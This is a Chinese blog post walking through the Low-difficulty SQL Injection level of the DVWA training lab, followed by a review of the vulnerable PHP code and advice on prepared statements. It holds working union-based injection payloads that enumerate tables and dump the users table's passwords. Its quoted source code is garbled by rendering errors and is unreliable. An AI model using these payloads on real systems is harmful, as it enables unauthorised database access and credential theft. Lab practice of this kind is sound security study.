DVWA靶场通关——SQL Injection篇

一,Low难度下union+get+字符串+select****注入

1,首先手工注入判断是否存在SQL注入漏洞,输入1

这是正常回显的结果,再键入1’

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’’ at line 1

发生报错,再键入1"

结果并不报错,这说明单引号的存在破坏了原有语句的闭合;双引号就没有破坏,被当成字符串内容执行。那么推断闭合方式为单引号

2,猜测这是一个经典sql查询语句。通过order by判断至少存在几个字段

1’ order by 2#

至少存在两个字段,

1’ order by 3#

不存在第三个字段,那么就只有两个字段

3,接着使用union操作符判断回显点 1’ union select 1,2#

由此可以看到存在两个回显点,接着参考数据库名和版本

1’ union select database(),version()#

4,对查询语句的限制并不多,可以用union语句开始爆库。

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

使用user表,再报user表下字段名

1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#

5,最后就爆破出用户和密码字段的内容了,并且使它们成对显示

1’ union select user,password from users#

由此,成功通关

查看并分析源码内容

该PHP代码段的主要功能是根据用户输入的id从数据库中查询用户的first_name和last_name,并将结果显示给用户。代码支持两种数据库:MySQL和SQLite。

代码结构

  1. 输入处理:通过$_REQUEST[‘Submit’]判断是否提交了表单,并获取用户输入的id。
  2. 数据库选择:根据$_DVWA[‘SQLI_DB’]的值选择使用MySQL还是SQLite。
  3. 查询执行
    • MySQL:使用mysqli_query执行SQL查询,并通过mysqli_fetch_assoc获取结果。
    • SQLite:使用SQLite3对象执行查询,并通过fetchArray获取结果。
  4. 结果显示:将查询结果格式化为HTML并输出。

安全问题

该代码存在严重的SQL注入漏洞,主要问题在于用户输入的id直接拼接到SQL查询语句中,未进行任何过滤或转义处理。攻击者可以通过构造恶意输入来执行任意SQL命令,从而获取或篡改数据库中的数据。

改进建议

  1. 使用预处理语句:对于MySQL,可以使用mysqli_prepare和mysqli_stmt_bind_param来防止SQL注入。对于SQLite,可以使用SQLite3Stmt类。
  2. 输入验证和过滤:对用户输入进行严格的验证和过滤,确保输入的id是合法的整数。
  3. 错误处理:改进错误处理机制,避免在生产环境中暴露详细的错误信息。

查看源码查询语句

KaTeX parse error: Expected group as argument to '\=' at position 69: …ERE user\_id \= ̲'id’;";

result=mysqli_query(result = mysqli\_query(result=mysqli_query(GLOBALS[“___mysqli_ston”], query)ordie(′<pre>′.((is_object(query ) or die( '<pre>' . ((is\_object(query)ordie(<pre>.((is_obj

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值